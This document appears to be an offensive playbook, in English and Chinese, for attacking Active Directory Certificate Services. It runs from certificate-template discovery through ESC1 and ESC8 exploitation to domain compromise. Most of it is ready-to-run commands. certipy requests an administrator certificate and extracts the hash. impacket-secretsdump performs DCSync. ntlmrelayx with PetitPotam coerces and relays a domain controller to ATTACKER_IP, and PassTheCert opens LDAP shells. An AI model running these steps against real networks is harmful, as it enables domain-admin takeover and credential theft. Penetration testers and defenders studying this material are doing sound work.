adcs-certipy-attack

ADCS certificate attack methodology

ADCS is the PKI infrastructure of Active Directory. Misconfigured certificate templates can let low-privileged users directly obtain domain admin privileges—this is currently the most underestimated and most powerful attack surface in domain penetration.

⛔ In-depth reference (required reading)

• Detailed exploitation commands and conditions for each ESC1-ESC11 vulnerability → references/esc-techniques.md
• Template ACL abuse (ESC4), ESC7/ESC11, template enumeration and cleanup → references/template-acl-attacks.md
• Golden Certificate, Schannel authentication, certificate format conversion, persistence → references/certificate-persistence.md
• → references/certifried-attack.md — CVE-2022-26923 Certifried machine account certificate spoofing

---

Phase 1: ADCS Discovery

# 发现 CA 服务器
netexec ldap DC_IP -u USER -p PASS -M adcs
# 输出 CA 名称和服务器

Certipy enumeration (recommended)

certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -enabled -vulnerable

Outputs JSON/TXT reports, automatically flags vulnerable templates Manual LDAP query

ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com"

### ADCS Web Enrollment 检测
```bash
# 访问 Web 界面
curl -sk https://CA_SERVER/certsrv/
# 返回 401 或登录页 → ADCS Web Enrollment 存在

Phase 2: Vulnerability Decision Tree

发现了什么？
├─ ESC1: 模板允许申请者指定 SAN → 冒充任意用户
├─ ESC2: 模板有 Any Purpose / SubCA → 签发任意证书
├─ ESC3: 模板有 Certificate Request Agent → 代理申请
├─ ESC4: 有模板写权限 → 修改模板为 ESC1
├─ ESC6: CA 启用 EDITF_ATTRIBUTESUBJECTALTNAME2 → 全局 ESC1
├─ ESC7: 有 CA 管理员权限 → 签发被拒绝的请求
├─ ESC8: ADCS Web Enrollment + NTLM Relay → 中继获取证书
├─ ESC9/10/11: 新型攻击路径
└─ 无明显漏洞 → 检查 NTLM Relay 到 ADCS
详细命令 → [references/esc-techniques.md](references/esc-techniques.md)

The most common attack paths：

1. ESC1 — Misconfigured template exists, directly request a domain admin certificate
2. ESC8 — PetitPotam + NTLM Relay to ADCS, obtain a domain controller certificate
3. ESC4 — A template with write permissions, modify it to ESC1 and exploit

Phase 3: ESC1 Quick Exploitation (most common)

ESC1 condition: the template allows CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(the requester can specify the SAN)

# 用 Certipy 申请域管证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
  -ca CA_NAME -template VULN_TEMPLATE \
  -upn administrator@DOMAIN

# 用证书认证获取 TGT
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# 输出: administrator  Hash: aad3b435...

# DCSync
impacket-secretsdump -hashes :HASH DOMAIN/administrator@DC_IP

Phase 4: ESC8 Relay Attack

# 1. 启动 ntlmrelayx 中继到 ADCS
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 2. 强制域控认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 3. 获取域控证书（Base64 输出）
# 保存并认证
echo "BASE64" | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip DC_IP

Phase 5: Certificate Authentication

# Certipy 认证（自动请求 TGT + 提取 NTLM）
certipy auth -pfx user.pfx -dc-ip DC_IP

# 如果 PKINIT 不可用（报错 KDC_ERR_PADATA_TYPE_NOSUPP）
# 使用 Schannel 认证
certipy auth -pfx user.pfx -dc-ip DC_IP -ldap-shell

# 或用 PassTheCert（工具路径默认安装在: /pentest/PassTheCert/Python/）
python3 /pentest/PassTheCert/Python/passthecert.py -action ldap-shell -crt user.crt -key user.key -domain DOMAIN -dc-ip DC_IP

Tool Quick Reference

Tool	Purpose
certipy	ADCS enumeration + full exploitation workflow
ntlmrelayx.py	NTLM relay to ADCS
PetitPotam	Coerce domain controller authentication
Rubeus	Certificate authentication on Windows
PassTheCert	Direct certificate authentication (no PKINIT)

Key Concepts

• SAN(Subject Alternative Name): the identity field in a certificate; ESC1 allows the requester to specify it → impersonate anyone
• PKINIT: Use a certificate for Kerberos pre-authentication → obtain a TGT → extract the NTLM Hash
• CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT: Template flag that allows the requester to customize the SAN = ESC1